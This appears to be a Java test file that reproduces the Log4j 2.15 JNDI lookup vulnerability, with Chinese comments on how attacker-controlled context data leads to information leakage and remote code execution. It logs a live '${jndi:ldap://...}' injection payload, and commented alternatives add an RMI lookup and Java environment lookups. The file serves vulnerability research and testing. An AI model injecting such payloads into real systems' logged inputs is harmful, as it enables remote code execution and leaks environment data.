package com.technology.client;

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;

public class Log4j215Test {
	private static final Logger logger = LogManager.getLogger(Log4j215Test.class);

	public static void main(String[] args) {
		String inputStr = "${jndi:ldap://127.0.0.1:8888/Exploit}";
//		String inputStr = "${jndi:rmi://127.0.0.1:7777/testObj}";
//		String inputStr = "${java:os} || ${java:vm} || ${java:version}";
		logger.info("params:" + inputStr);
		// 控制线程上下文映射 (MDC) 输入数据的攻击者可以使用 JNDI 查找模式制作恶意输入数据，导致部分环境信息泄露和远程代码执行，本地可直接加载。
//		threadContextPut(inputStr);

//		没调用远程加载类,${java.version}还是可以解析出来;  可以用$检索变量,存在敏感信息泄露的风险; ${ctx:myContext} --> %X{myContext}
		// printfWithNotMsgLookup(inputStr);

	}

	private static void printfWithNotMsgLookup(String inputStr) {
		logger.printf(Level.ERROR, "%s", "params:" + inputStr);
		// 2021-12-20 14:37:01,035 main WARN Referenceable class is not allowed for ldap://127.0.0.1:8888/Exploit
	}

	private static void threadContextPut(String inputStr) {
		ThreadContext.put("myInput", inputStr);
		// PatternLayout pattern 非msg输出
		logger.error("doSomeLog simpleText...");
	}

}
